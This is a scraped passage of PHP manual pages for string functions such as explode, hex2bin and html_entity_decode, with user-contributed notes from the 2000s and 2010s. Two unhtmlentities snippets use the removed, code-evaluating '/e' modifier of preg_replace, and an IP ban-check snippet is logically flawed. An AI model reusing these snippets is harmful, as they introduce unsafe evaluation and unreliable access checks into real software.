  2 => '海青',
)

bcz "弢" 's GBK is '0x8f7c'. and "|" 's ASCII is '0x7c'.

So, all GBK-encoding characters include '7c' will lead to the error result.
nick dot brown at free dot fr 15-Oct-2009 12:47
My application was running out of memory (my hosting company limits PHP to 32MB).  I have a string containing between 100 and 20000 triplets, separated by a space, with each triplet consisting of three double-precision numbers, separated by commas.  Total size of the biggest string, with 20000 triplets, is about 1MB.

The application needs to split the string into triplets, then split the triplet into numbers.  In C, this would take up about 480K (20000 times 3 x 8 bytes) for the final array.  The intermediate array of strings shouldn't be much bigger than the long string itself (1MB).  And I expect some overhead from PHP, say 300% to allow for indexes etc.

Well, PHP5 manages to run out of memory *at the first stage* (exploding the string on the space character).  I'm expecting to get an array of 20000 strings, but it needs more than 32MB to store it.  Amazing.

The workaround was easy and had the bonus of producing faster code (I compared it on a 10000 triplet string).  Since in any case I had to split up the numeric triplets afterwards, I decided to use preg_match_all() on the original string.  Despite the fact that the resulting "matches" array contains more data per element than the result of explode() - because it stores the matched triplet, plus its component numbers - it takes up far less memory.

Moral: be careful when using explode() on big strings, as it can also explode your memory usage.
Jrg Wagner 12-Oct-2009 11:28
Here is a very concise example for a quote aware explode - substrings in quotes (or another definable enclosure char) are not exploded.
An additional parameter allows to determine whether the enclosure chars should be preserved within the resulting array elements. Please note that as of PHP 5.3 the str_getcsv function offers a built-in way to do this!

<?php
function csv_explode($delim=',', $str, $enclose='"', $preserve=false){
  $resArr = array();
  $n = 0;
  $expEncArr = explode($enclose, $str);
  foreach($expEncArr as $EncItem){
    if($n++%2){
      array_push($resArr, array_pop($resArr) . ($preserve?$enclose:'') . $EncItem.($preserve?$enclose:''));
    }else{
      $expDelArr = explode($delim, $EncItem);
      array_push($resArr, array_pop($resArr) . array_shift($expDelArr));
      $resArr = array_merge($resArr, $expDelArr);
    }
  }
  return $resArr;
}
?>
Anonymous 29-Sep-2009 12:20
Note to the previous example: we can do the whole string->array conversion using explode() exclusively.

<?php
    // converts pure string into a trimmed keyed array
    function string_2_array( $string, $delimiter = ',', $kv = '=>')
    {
        if ($element = explode( $delimiter, $string ))
        {
            // create parts
            foreach ( $element as $key_value )
            {
                // key -> value pair or single value
                $atom = explode( $kv, $key_value );

                if( trim($atom[1]) )
                {
                  $key_arr[trim($atom[0])] = trim($atom[1]);
                }
                else
                {
                    $key_arr[] = trim($atom[0]);
                }
            }
        }
        else
        {
            $key_arr = false;
        }

        return $key_arr;
    }
?>
Anonymous 03-Sep-2009 04:18
<?php
// converts pure string into a trimmed keyed array
function string2KeyedArray($string, $delimiter = ',', $kv = '=>') {
  if ($a = explode($delimiter, $string)) { // create parts
    foreach ($a as $s) { // each part
      if ($s) {
        if ($pos = strpos($s, $kv)) { // key/value delimiter
          $ka[trim(substr($s, 0, $pos))] = trim(substr($s, $pos + strlen($kv)));
        } else { // key delimiter not found
          $ka[] = trim($s);
        }
      }
    }
    return $ka;
  }
} // string2KeyedArray

$string = 'a=>1, b=>23   , $a, c=> 45% , true,d => ab c ';
print_r(string2KeyedArray($string));
?>

Array
(
  [a] => 1
  [b] => 23
  [0] => $a
  [c] => 45%
  [1] => true
  [d] => ab c
)
Anonymous 11-Aug-2009 07:55
If you are exploding string literals in your code that have a dollar sign ($) in it, be sure to use single-quotes instead of double-quotes, since php will not spare any chance to interpret the variable-friendly characters after the dollar signs as variables, leading to unintended consequences, the most typical being missing characters.

<?php
$doubleAr = explode(" ", "The $quick brown fox");
$singleAr = explode(" ", 'The $quick brown fox');
echo $doubleAr[1]; // prints "";
echo $singleAr[1]; // prints "$quick";
?>
SR 21-Apr-2009 04:50
Keep in mind that explode() can return empty elements if the delimiter is immediately repeated twice (or more), as shown by the following example:

<?php
$foo = 'uno dos  tres'; // two spaces between "dos" and "tres"
print_r(explode(' ', $foo));
?>

Array
(
    [0] => uno
    [1] => dos
    [2] =>
    [3] => tres
)

Needless to say this is definitely not intuitive and must be handled carefully.
Michael 19-Apr-2009 11:29
Here's a simple script which uses explode() to check to see if an IP address is in an array (can be used as a ban-check, without needing to resort to database storage and queries).

<?php

 function denied($one) {

  $denied = array(

   0 => '^255.255.255.255',
   1 => '^255.250',
   2 => '^255.255.250'

  );

  for ($i = 0 ; $i < sizeof($denied) ; $i++) {

   if (sizeof(explode($denied[$i], '^' . $one . '$')) == 2) {
    return true;
   }

  }

  return false;

 }

 if (denied($_SERVER['REMOTE_ADDR'])) {
  header('Location: denied.php');
 }

?>
pinkgothic at gmail dot com 15-Oct-2007 11:26
coroa at cosmo-genics dot com mentioned using preg_split() instead of explode() when you have multiple delimiters in your text and don't want your result array cluttered with empty elements. While that certainly works, it means you need to know your way around regular expressions... and, as it turns out, it is slower than its alternative. Specifically, you can cut execution time roughly in half if you use array_filter(explode(...)) instead.

Benchmarks (using 'too many spaces'):
Looped 100000 times:
preg_split: 1.61789011955 seconds
filter-explode: 0.916578054428 seconds

Looped 10000 times:
preg_split: 0.162719011307 seconds
filter-explode: 0.0918920040131 seconds

(The relation is, evidently, pretty linear.)

Note: Adding array_values() to the filter-explode combination, to avoid having those oft-feared 'holes' in your array, doesn't remove the benefit, either. (For scale - the '9' becomes a '11' in the benchmarks above.)

Also note: I haven't tested anything other than the example with spaces - since djogo_curl at yahoo's note seems to imply that explode() might get slow with longer delimiters, I expect this would be the case here, too.

I hope this helps someone. :)
seventoes at gmail dot com 10-Dec-2006 04:49
Note that explode, split, and functions like it, can accept more than a single character for the delimiter.

<?php
$string = "Something--next--something else--next--one more";

print_r(explode('--next--',$string));
?>
coroa at cosmo-genics dot com 16-Nov-2003 05:01
To split a string containing multiple seperators between elements rather use preg_split than explode:

preg_split ("/\s+/", "Here  are    to    many  spaces in   between");

which gives you
array ("Here", "are", "to", "many", "spaces", "in", "between");


Write a formatted string to a stream

  • « explode
  • get_html_translation_table »
  • PHP Manual
  • String Functions
  • Write a formatted string to a stream

fprintf

(PHP 5)

fprintf — Write a formatted string to a stream

Description

int fprintf ( resource $handle , string $format [, mixed $args [, mixed $... ]] )

Write a string produced according to format to the stream resource specified by handle.

Parameters

handle

A file system pointer resource that is typically created using fopen().

format

See sprintf() for a description of format.

args

...

Return Values

Returns the length of the string written.

Examples

Example #1 fprintf(): zero-padded integers

<?php
if (!($fp = fopen('date.txt', 'w'))) {
    return;
}

fprintf($fp, "%04d-%02d-%02d", $year, $month, $day);
// will write the formatted ISO date to date.txt
?>

Example #2 fprintf(): formatting currency

<?php
if (!($fp = fopen('currency.txt', 'w'))) {
    return;
}

$money1 = 68.75;
$money2 = 54.35;
$money = $money1 + $money2;
// echo $money will output "123.1";
$len = fprintf($fp, '%01.2f', $money);
// will write "123.10" to currency.txt

echo "wrote $len bytes to currency.txt";
// use the return value of fprintf to determine how many bytes we wrote
?>

See Also

  • printf() - Output a formatted string
  • sprintf() - Return a formatted string
  • sscanf() - Parses input from a string according to a format
  • fscanf() - Parses input from a file according to a format
  • vsprintf() - Return a formatted string
  • number_format() - Format a number with grouped thousands

User Contributed Notes

There are no user contributed notes for this page.


Returns the translation table used by htmlspecialchars and htmlentities

  • « fprintf
  • hebrev »
  • PHP Manual
  • String Functions
  • Returns the translation table used by htmlspecialchars and htmlentities

get_html_translation_table

(PHP 4, PHP 5)

get_html_translation_table — Returns the translation table used by htmlspecialchars() and htmlentities()

Description

array get_html_translation_table ([ int $table = HTML_SPECIALCHARS [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = "UTF-8" ]]] )

get_html_translation_table() will return the translation table that is used internally for htmlspecialchars() and htmlentities().

Note:

Special characters can be encoded in several ways. E.g. " can be encoded as &quot;, &#34; or &#x22. get_html_translation_table() returns only the form used by htmlspecialchars() and htmlentities().

Parameters

table

Which table to return. Either HTML_ENTITIES or HTML_SPECIALCHARS.

flags

A bitmask of one or more of the following flags, which specify which quotes the table will contain as well as which document type the table is for. The default is ENT_COMPAT | ENT_HTML401.

Available flags constants
Constant Name | Description
ENT_COMPAT | Table will contain entities for double-quotes, but not for single-quotes.
ENT_QUOTES | Table will contain entities for both double and single quotes.
ENT_NOQUOTES | Table will neither contain entities for single quotes nor for double quotes.
ENT_HTML401 | Table for HTML 4.01.
ENT_XML1 | Table for XML 1.
ENT_XHTML | Table for XHTML.
ENT_HTML5 | Table for HTML 5.

encoding

Encoding to use. If omitted, the default value for this argument is ISO-8859-1 in versions of PHP prior to 5.4.0, and UTF-8 from PHP 5.4.0 onwards.

The following character sets are supported:

Supported charsets
Charset | Aliases | Description
ISO-8859-1 | ISO8859-1 | Western European, Latin-1.
ISO-8859-5 | ISO8859-5 | Little used cyrillic charset (Latin/Cyrillic).
ISO-8859-15 | ISO8859-15 | Western European, Latin-9. Adds the Euro sign, French and Finnish letters missing in Latin-1 (ISO-8859-1).
UTF-8 | ASCII compatible multi-byte 8-bit Unicode.
cp866 | ibm866, 866 | DOS-specific Cyrillic charset.
cp1251 | Windows-1251, win-1251, 1251 | Windows-specific Cyrillic charset.
cp1252 | Windows-1252, 1252 | Windows specific charset for Western European.
KOI8-R | koi8-ru, koi8r | Russian.
BIG5 | 950 | Traditional Chinese, mainly used in Taiwan.
GB2312 | 936 | Simplified Chinese, national standard character set.
BIG5-HKSCS | Big5 with Hong Kong extensions, Traditional Chinese.
Shift_JIS | SJIS, SJIS-win, cp932, 932 | Japanese
EUC-JP | EUCJP, eucJP-win | Japanese
MacRoman | Charset that was used by Mac OS.
'' An empty string activates detection from script encoding (Zend multibyte), default_charset and current locale (see nl_langinfo() and setlocale()), in this order. Not recommended.

Note: Any other character sets are not recognized. The default encoding will be used instead and a warning will be emitted.

Return Values

Returns the translation table as an array, with the original characters as keys and entities as values.

Changelog

Version | Description
5.4.0 | The default value for the encoding parameter was changed to UTF-8.
5.4.0 | The constants ENT_HTML401, ENT_XML1, ENT_XHTML and ENT_HTML5 were added.
5.3.4 | The encoding parameter was added.

Examples

Example #1 Translation Table Example

<?php
var_dump(get_html_translation_table(HTML_ENTITIES, ENT_QUOTES | ENT_HTML5));
?>

The above example will output something similar to:

array(1510) {
  ["
"]=>
  string(9) "&NewLine;"
  ["!"]=>
  string(6) "&excl;"
  ["""]=>
  string(6) "&quot;"
  ["#"]=>
  string(5) "&num;"
  ["$"]=>
  string(8) "&dollar;"
  ["%"]=>
  string(8) "&percnt;"
  ["&"]=>
  string(5) "&amp;"
  ["'"]=>
  string(6) "&apos;"
  // ...
}

See Also

  • htmlspecialchars() - Convert special characters to HTML entities
  • htmlentities() - Convert all applicable characters to HTML entities
  • html_entity_decode() - Convert all HTML entities to their applicable characters

User Contributed Notes

michael dot genesis at gmail dot com 13-Dec-2011 12:01
The fact that MS-word and some other sources use CP-1252, and that it is so close to Latin1 ('ISO-8859-1') causes a lot of confusion. What confused me the most was finding that mySQL uses CP-1252 by default.

You may run into trouble if you find yourself tempted to do something like this:
<?php
    $trans[chr(149)] = '&bull;';    // Bullet
    $trans[chr(150)] = '&ndash;';    // En Dash
    $trans[chr(151)] = '&mdash;';    // Em Dash
    $trans[chr(152)] = '&tilde;';    // Small Tilde
    $trans[chr(153)] = '&trade;';    // Trade Mark Sign
?>

Don't do it. DON'T DO IT!

You can use:
<?php
    $translationTable = get_html_translation_table(HTML_ENTITIES, ENT_NOQUOTES, 'WINDOWS-1252');
?>

or just convert directly:
<?php
    $output = htmlentities($input, ENT_NOQUOTES, 'WINDOWS-1252');
?>

But your web page is probably encoded UTF-8, and you probably don't really want CP-1252 text flying around, so fix the character encoding first:
<?php
    $output = mb_convert_encoding($input, 'UTF-8', 'WINDOWS-1252');
    $ouput = htmlentities($output);
?>
kevin at cwsmailbox dot xom 15-Sep-2010 06:55
Be careful using get_html_translation_table() in a loop, as it's very slow.
Kenneth Kin Lum 23-Sep-2008 02:54
to display the mapping on a webpage no matter what the server encoding is, this can be used

  echo "<pre>\n";
  echo htmlentities(print_r((get_html_translation_table(HTML_SPECIALCHARS)), true));
  echo htmlentities(print_r((get_html_translation_table(HTML_ENTITIES)), true));

since get_html_translation_table() actually gives the special chars in iso-8859-1 (Latin-1) encoding, so to see the tables correctly using

  print_r(get_html_translation_table(HTML_ENTITIES));

your server needs to give a HTTP header as iso-8859-1, unless you use header() or manually set the browser's encoding setting to iso-8859-1.  And you need to view the source of the page to see the mapping.  (except English version of IE 7 outputs the page source as iso-8859-1 anyway).
robertn972 at gmail dot com 22-Jul-2008 05:18
I found this useful in converting latin characters

<?php
function convertLatin1ToHtml($str) {
$allEntities = get_html_translation_table(HTML_ENTITIES, ENT_NOQUOTES);
$specialEntities = get_html_translation_table(HTML_SPECIALCHARS, ENT_NOQUOTES);
$noTags = array_diff($allEntities, $specialEntities);
$str = strtr($str, $noTags);
return $str;
}
?>
iain (duh) workingsoftware.com.au 07-Sep-2007 11:06
I wrote a quick little function for converting something like '&middot;' into '&#183;':

$to_convert = '&middot;';
$table = get_html_translation_table(HTML_ENTITIES);
$equiv = '&#'.ord(array_search($to_convert,$table)).';';
Maurizio Siliani at trident dot it 20-Jul-2007 05:43
If you have troubles (like me) getting data from ISO-8859-1 encoded forms where user copy and paste from word, this routine could be useful.
It adds to the standard get_html_translation_table the codes of the characters usually M$ Word replacs into typed text.
Otherwise those characters would never be displayed correctly in html output.

function get_html_translation_table_CP1252() {
    $trans = get_html_translation_table(HTML_ENTITIES);
    $trans[chr(130)] = '&sbquo;';    // Single Low-9 Quotation Mark
    $trans[chr(131)] = '&fnof;';    // Latin Small Letter F With Hook
    $trans[chr(132)] = '&bdquo;';    // Double Low-9 Quotation Mark
    $trans[chr(133)] = '&hellip;';    // Horizontal Ellipsis
    $trans[chr(134)] = '&dagger;';    // Dagger
    $trans[chr(135)] = '&Dagger;';    // Double Dagger
    $trans[chr(136)] = '&circ;';    // Modifier Letter Circumflex Accent
    $trans[chr(137)] = '&permil;';    // Per Mille Sign
    $trans[chr(138)] = '&Scaron;';    // Latin Capital Letter S With Caron
    $trans[chr(139)] = '&lsaquo;';    // Single Left-Pointing Angle Quotation Mark
    $trans[chr(140)] = '&OElig;    ';    // Latin Capital Ligature OE
    $trans[chr(145)] = '&lsquo;';    // Left Single Quotation Mark
    $trans[chr(146)] = '&rsquo;';    // Right Single Quotation Mark
    $trans[chr(147)] = '&ldquo;';    // Left Double Quotation Mark
    $trans[chr(148)] = '&rdquo;';    // Right Double Quotation Mark
    $trans[chr(149)] = '&bull;';    // Bullet
    $trans[chr(150)] = '&ndash;';    // En Dash
    $trans[chr(151)] = '&mdash;';    // Em Dash
    $trans[chr(152)] = '&tilde;';    // Small Tilde
    $trans[chr(153)] = '&trade;';    // Trade Mark Sign
    $trans[chr(154)] = '&scaron;';    // Latin Small Letter S With Caron
    $trans[chr(155)] = '&rsaquo;';    // Single Right-Pointing Angle Quotation Mark
    $trans[chr(156)] = '&oelig;';    // Latin Small Ligature OE
    $trans[chr(159)] = '&Yuml;';    // Latin Capital Letter Y With Diaeresis
    ksort($trans);
    return $trans;
}
Jérôme Jaglale 31-Dec-2006 08:43
htmlentities includes htmlspecialchars, so here's how to convert an UTF-8 string :
htmlentities($string, ENT_QUOTES, 'UTF-8');
Patrick nospam at nospam mesopia dot com 30-May-2005 04:00
Not sure what's going on here but I've run into a problem that others might face as well...

<?php

$translations = array_flip(get_html_translation_table(HTML_ENTITIES,ENT_QUOTES));

?>

returns the single quote ' as being equal to &#39; while

<?php

$translatedString = htmlentities($string,ENT_QUOTES);

?>
returns it as being equal to &#039;

I've had to do a specific string replacement for the time being... Not sure if it's an issue with the function or the array manipulation.

-Pat
Alex Minkoff 19-May-2005 01:30
If you want to display special HTML entities in a web browser, you can use the following code:

<?
$entities = get_html_translation_table(HTML_ENTITIES);
foreach ($entities as $entity) {
    $new_entities[$entity] = htmlspecialchars($entity);
}
echo "<pre>";
print_r($new_entities);
echo "</pre>";
?>

If you don't, the key name of each element will appear to be the same as the element content itself, making it look mighty stupid. ;)
kevin_bro at hostedstuff dot com 03-Jan-2003 03:06
Alans version didn't seem to work right. If you're having the same problem consider using this slightly modified version instead:

function unhtmlentities ($string)  {
   $trans_tbl = get_html_translation_table (HTML_ENTITIES);
   $trans_tbl = array_flip ($trans_tbl);
   $ret = strtr ($string, $trans_tbl);
   return preg_replace('/&#(\d+);/me',
      "chr('\\1')",$ret);
}
kumar at chicagomodular.com 29-Oct-2002 02:51
without heavy scientific analysis, this seems to work as a quick fix to making text originating from a Microsoft Word document display as HTML:

<?php
function DoHTMLEntities ($string)
    {
        $trans_tbl = get_html_translation_table (HTML_ENTITIES);

        // MS Word strangeness..
        // smart single/ double quotes:
        $trans_tbl[chr(145)] = '\'';
        $trans_tbl[chr(146)] = '\'';
        $trans_tbl[chr(147)] = '&quot;';
        $trans_tbl[chr(148)] = '&quot;';

                // Acute 'e'
        $trans_tbl[chr(142)] = '&eacute;';

        return strtr ($string, $trans_tbl);
    }
?>
alan at akbkhome dot com 04-Jun-2002 07:00
If you want to decode all those &#123; symbols as well....

function unhtmlentities ($string)  {
    $trans_tbl = get_html_translation_table (HTML_ENTITIES);
    $trans_tbl = array_flip ($trans_tbl);
    $ret = strtr ($string, $trans_tbl);
    return  preg_replace('/\&\#([0-9]+)\;/me',
        "chr('\\1')",$ret);
}
dirk at hartmann dot net 19-Jun-2001 10:41
get_html_translation_table
It works only with the first 256 Codepositions.
For Higher Positions, for Example &#1092;
(a kyrillic Letter) it shows the same.


Convert logical Hebrew text to visual text

  • « get_html_translation_table
  • hebrevc »
  • PHP Manual
  • String Functions
  • Convert logical Hebrew text to visual text

hebrev

(PHP 4, PHP 5)

hebrev — Convert logical Hebrew text to visual text

Description

string hebrev ( string $hebrew_text [, int $max_chars_per_line = 0 ] )

Converts logical Hebrew text to visual text.

The function tries to avoid breaking words.

Parameters

hebrew_text

A Hebrew input string.

max_chars_per_line

This optional parameter indicates maximum number of characters per line that will be returned.

Return Values

Returns the visual string.

See Also

  • hebrevc() - Convert logical Hebrew text to visual text with newline conversion

User Contributed Notes

udioron at geeee mmmaaaaiiillll dotcom 02-Jan-2009 02:14
This might work for unicode strings:

<?php
$s = iconv("ISO-8859-8", "UTF-8", hebrev(iconv("UTF-8", "ISO-8859-8", $s)));
?>

Udi
tinko 14-Dec-2004 12:46
From my experience in using hebrev text in HTML, I prefer using

<html dir="rtl" lang="he">

over mentioned PHP functions. It works perfectly with IE 6 ... needs some tweaking in Mozilla though.

I found this site http://tlt.its.psu.edu/suggestions/international/web/tips/align.html useful.
socket at linuxloony dot net 03-Apr-2004 03:17
The hebrev function changes the string order to RTL.
Use fribidi_log2vis insted if you need LTR text direction
$text = fribidi_log2vis($text,FRIBIDI_LTR, FRIBIDI_CHARSET_CP1255)
zak at php dot net 09-Jan-2001 12:39
hebrev() changes the flow of any Hebrew characters in a string from right-to-left to left-to-right.

It only affects characters within the range of ASCII 224-251 (except for punctuation).


Convert logical Hebrew text to visual text with newline conversion

  • « hebrev
  • hex2bin »
  • PHP Manual
  • String Functions
  • Convert logical Hebrew text to visual text with newline conversion

hebrevc

(PHP 4, PHP 5)

hebrevc — Convert logical Hebrew text to visual text with newline conversion

Description

string hebrevc ( string $hebrew_text [, int $max_chars_per_line = 0 ] )

This function is similar to hebrev() with the difference that it converts newlines (\n) to "<br>\n".

The function tries to avoid breaking words.

Parameters

hebrew_text

A Hebrew input string.

max_chars_per_line

This optional parameter indicates maximum number of characters per line that will be returned.

Return Values

Returns the visual string.

See Also

  • hebrev() - Convert logical Hebrew text to visual text

User Contributed Notes

Oded 04-Jul-2009 12:57
If you want to use hebrevc with english,
just use strrev.
yfurman at yahoo dot com 11-Dec-2001 01:41
Beware of English use!
I was working on a little project, and used hebrevc to reverse Hebrew in a loop. The hebrevc function got a variable as an argument. Sometimes the variable was pure English and sometimes it was hebrew.
Suddenly I found out that the English too was cut with BR tags, which made it look funny - the last line was the first.

If you're going to use that function in mixed text, don't forget to check the language before using the function.

Yael


Decodes a hexadecimally encoded binary string

  • « hebrevc
  • html_entity_decode »
  • PHP Manual
  • String Functions
  • Decodes a hexadecimally encoded binary string

hex2bin

(PHP >= 5.4.0)

hex2bin — Decodes a hexadecimally encoded binary string

Description

string hex2bin ( string $data )

Decodes a hexadecimally encoded binary string.

Caution

This function does NOT convert a hexadecimal number to a binary number. This can be done using the base_convert() function.

Parameters

data

Hexadecimal representation of data.

Return Values

Returns the binary representation of the given data or FALSE on failure.

Errors/Exceptions

If the hexadecimal input string is of odd length or invalid hexadecimal string an E_WARNING level error is thrown.

Changelog

Version | Description
5.5.1 | A warning is thrown if the input string is invalid hexadecimal string.
5.4.1 | A warning is thrown if the input string is of odd length. In PHP 5.4.0 the string was silently accepted, but the last byte was truncated.

Examples

Example #1 hex2bin() example

<?php
$hex = hex2bin("6578616d706c65206865782064617461");
var_dump($hex);
?>

The above example will output something similar to:

string(16) "example hex data"

See Also

  • bin2hex() - Convert binary data into hexadecimal representation
  • unpack() - Unpack data from binary string

User Contributed Notes

EM 12-Jun-2014 07:14
Ran into an interesting case with hex2bin and php5.5.12 while upgrading from 5.3.3 -> 5.5.12

The previous code had redeclared the hex2bin function with the $binary_string = pack("H*" , $hex_string) trick.

php5.5.12 would have none of that. The solution, albeit a hacky one, was doing a find an replace of hex2bin to 'hex3bin' for the whole site directory.
carschrotter at gmail dot com 01-Nov-2013 11:19
Case of an incomplete hex string following function may help:
<?php
function make2validhex($data){
    $data = (string) $data;
    $len = strlen($data);
    if($len % 2) {
        return substr($data, 0, $len -1);
    }
    return $data;
}
?>
test:
<?php
$string="not complete";
echo $string;
echo PHP_EOL;
$hex = bin2hex($string); //"6e6f7420636f6d706c657465"
echo $hex;
echo PHP_EOL;
$deff = substr ($hex, 0, strlen($hex) -1);//"6e6f7420636f6d706c65746"
echo $deff;
echo PHP_EOL;
echo hex2bin(make2validhex($deff)); //"not complet"
echo PHP_EOL;
?>
walf 16-Oct-2013 01:41
A drop-in hex2bin emulator which behaves just like the the one in v5.5.1.

<?php
if (!function_exists('hex2bin')) {
    function hex2bin($data) {
        static $old;
        if ($old === null) {
            $old = version_compare(PHP_VERSION, '5.2', '<');
        }
        $isobj = false;
        if (is_scalar($data) || (($isobj = is_object($data)) && method_exists($data, '__toString'))) {
            if ($isobj && $old) {
                ob_start();
                echo $data;
                $data = ob_get_clean();
            }
            else {
                $data = (string) $data;
            }
        }
        else {
            trigger_error(__FUNCTION__.'() expects parameter 1 to be string, ' . gettype($data) . ' given', E_USER_WARNING);
            return;//null in this case
        }
        $len = strlen($data);
        if ($len % 2) {
            trigger_error(__FUNCTION__.'(): Hexadecimal input string must have an even length', E_USER_WARNING);
            return false;
        }
        if (strspn($data, '0123456789abcdefABCDEF') != $len) {
            trigger_error(__FUNCTION__.'(): Input string must be hexadecimal string', E_USER_WARNING);
            return false;
        }
        return pack('H*', $data);
    }
}
?>
jannik [dot] zappe [at] udo [dot] edu 23-Aug-2013 09:00
I modified the function by Johnson a bit so it can be used as a drop-in-replacement. You don't need to worry about upgrading php because when it is upgraded, it will use the build in function.

<?php
if ( !function_exists( 'hex2bin' ) ) {
    function hex2bin( $str ) {
        $sbin = "";
        $len = strlen( $str );
        for ( $i = 0; $i < $len; $i += 2 ) {
            $sbin .= pack( "H*", substr( $str, $i, 2 ) );
        }

        return $sbin;
    }
}
?>
Johnson 01-Jan-2013 09:23
For those who have php version prior to 5.4, i have a solution to convert hex to binary. It works for me in an encryption and decryption application.

<?php
        function hextobin($hexstr)
    {
        $n = strlen($hexstr);
        $sbin="";
        $i=0;
        while($i<$n)
        {
            $a =substr($hexstr,$i,2);
            $c = pack("H*",$a);
            if ($i==0){$sbin=$c;}
            else {$sbin.=$c;}
            $i+=2;
        }
        return $sbin;
    }
?>
jarismar dot php at gmail dot com 17-Dec-2012 10:13
A way to convert hex strings in the form "0x123ABC" to integer is to use the function base_convert("0x123ABC", 16, 10)
Anonymous 23-Feb-2012 11:28
The function pack("H*" , $hex_string); will not work as expected if $hex_string contains an odd number of hexadecimal digits.

For example:

<?php echo ord(pack("H*", 'F')); ?>

will return 240 not 15. Use pack("H*", '0F'); instead.
Anonymous 31-Aug-2011 10:32
The function hex2bin does not exist in PHP5.
You can use 'pack' instead :

$binary_string = pack("H*" , $hex_string);


Convert all HTML entities to their applicable characters

  • « hex2bin
  • htmlentities »
  • PHP Manual
  • String Functions
  • Convert all HTML entities to their applicable characters

html_entity_decode

(PHP 4 >= 4.3.0, PHP 5)

html_entity_decode — Convert all HTML entities to their applicable characters

Description

string html_entity_decode ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") ]] )

html_entity_decode() is the opposite of htmlentities() in that it converts all HTML entities in the string to their applicable characters.

More precisely, this function decodes all the entities (including all numeric entities) that a) are necessarily valid for the chosen document type — i.e., for XML, this function does not decode named entities that might be defined in some DTD — and b) whose character or characters are in the coded character set associated with the chosen encoding and are permitted in the chosen document type. All other entities are left as is.

Parameters

string

The input string.

flags

A bitmask of one or more of the following flags, which specify how to handle quotes and which document type to use. The default is ENT_COMPAT | ENT_HTML401.

Available flags constants
Constant Name | Description
ENT_COMPAT | Will convert double-quotes and leave single-quotes alone.
ENT_QUOTES | Will convert both double and single quotes.
ENT_NOQUOTES | Will leave both double and single quotes unconverted.
ENT_HTML401 | Handle code as HTML 4.01.
ENT_XML1 | Handle code as XML 1.
ENT_XHTML | Handle code as XHTML.
ENT_HTML5 | Handle code as HTML 5.

encoding

An optional argument defining the encoding used when converting characters.

If omitted, the default value of the encoding varies depending on the PHP version in use. In PHP 5.6 and later, the default_charset configuration option is used as the default value. PHP 5.4 and 5.5 will use UTF-8 as the default. Earlier versions of PHP use ISO-8859-1.

Although this argument is technically optional, you are highly encouraged to specify the correct value for your code if you are using PHP 5.5 or earlier, or if your default_charset configuration option may be set incorrectly for the given input.

The following character sets are supported:

Supported charsets
Charset | Aliases | Description
ISO-8859-1 | ISO8859-1 | Western European, Latin-1.
ISO-8859-5 | ISO8859-5 | Little used cyrillic charset (Latin/Cyrillic).
ISO-8859-15 | ISO8859-15 | Western European, Latin-9. Adds the Euro sign, French and Finnish letters missing in Latin-1 (ISO-8859-1).
UTF-8 | ASCII compatible multi-byte 8-bit Unicode.
cp866 | ibm866, 866 | DOS-specific Cyrillic charset.
cp1251 | Windows-1251, win-1251, 1251 | Windows-specific Cyrillic charset.
cp1252 | Windows-1252, 1252 | Windows specific charset for Western European.
KOI8-R | koi8-ru, koi8r | Russian.
BIG5 | 950 | Traditional Chinese, mainly used in Taiwan.
GB2312 | 936 | Simplified Chinese, national standard character set.
BIG5-HKSCS | Big5 with Hong Kong extensions, Traditional Chinese.
Shift_JIS | SJIS, SJIS-win, cp932, 932 | Japanese
EUC-JP | EUCJP, eucJP-win | Japanese
MacRoman | Charset that was used by Mac OS.
'' An empty string activates detection from script encoding (Zend multibyte), default_charset and current locale (see nl_langinfo() and setlocale()), in this order. Not recommended.

Note: Any other character sets are not recognized. The default encoding will be used instead and a warning will be emitted.

Return Values

Returns the decoded string.

Changelog

Version | Description
5.6.0 | The default value for the encoding parameter was changed to be the value of the default_charset configuration option.
5.4.0 | Default encoding changed from ISO-8859-1 to UTF-8.
5.4.0 | The constants ENT_HTML401, ENT_XML1, ENT_XHTML and ENT_HTML5 were added.

Examples

Example #1 Decoding HTML entities

<?php
$orig = "I'll \"walk\" the <b>dog</b> now";

$a = htmlentities($orig);

$b = html_entity_decode($a);

echo $a; // I'll &quot;walk&quot; the &lt;b&gt;dog&lt;/b&gt; now

echo $b; // I'll "walk" the <b>dog</b> now
?>

Notes

Note:

You might wonder why trim(html_entity_decode('&nbsp;')); doesn't reduce the string to an empty string, that's because the '&nbsp;' entity is not ASCII code 32 (which is stripped by trim()) but ASCII code 160 (0xa0) in the default ISO 8859-1 encoding.

See Also

  • htmlentities() - Convert all applicable characters to HTML entities
  • htmlspecialchars() - Convert special characters to HTML entities
  • get_html_translation_table() - Returns the translation table used by htmlspecialchars and htmlentities
  • urldecode() - Decodes URL-encoded string

User Contributed Notes

Benjamin 05-Apr-2013 08:07
The following function decodes named and numeric HTML entities and works on UTF-8. Requires iconv.

function decodeHtmlEnt($str) {
    $ret = html_entity_decode($str, ENT_COMPAT, 'UTF-8');
    $p2 = -1;
    for(;;) {
        $p = strpos($ret, '&#', $p2+1);
        if ($p === FALSE)
            break;
        $p2 = strpos($ret, ';', $p);
        if ($p2 === FALSE)
            break;

        if (substr($ret, $p+2, 1) == 'x')
            $char = hexdec(substr($ret, $p+3, $p2-$p-3));
        else
            $char = intval(substr($ret, $p+2, $p2-$p-2));

        //echo "$char\n";
        $newchar = iconv(
            'UCS-4', 'UTF-8',
            chr(($char>>24)&0xFF).chr(($char>>16)&0xFF).chr(($char>>8)&0xFF).chr($char&0xFF)
        );
        //echo "$newchar<$p<$p2<<\n";
        $ret = substr_replace($ret, $newchar, $p, 1+$p2-$p);
        $p2 = $p + strlen($newchar);
    }
    return $ret;
}
Victor 14-Dec-2011 03:22
We were having very peculiar behavior regarding foreign characters such as e-acute.

However, it was only showing up as a problem when extracting those characters out of our mysql database and when being displayed through a proxy server of ours that handles dns issues.

As other users have made a note of, the default character setting wasn't what they were expecting it to be when they left theirs blank.

When we changed our default_charset to "UTF-8", our problems and needs for using functions like these were no longer necessary in handling foreign characters such as e-acute. Good enough for us!
Martin 26-Jun-2011 01:37
If you need something that converts &#[0-9]+ entities to UTF-8, this is simple and works:

<?php
/* Entity crap. /
$input = "Fovi&#269;";

$output = preg_replace_callback("/(&#[0-9]+;)/", function($m) { return mb_convert_encoding($m[1], "UTF-8", "HTML-ENTITIES"); }, $input);

/* Plain UTF-8. */
echo $output;
?>
neurotic dot neu at gmail dot com 10-Aug-2010 09:25
This is a safe rawurldecode with utf8 detection:

<?php
function utf8_rawurldecode($raw_url_encoded){
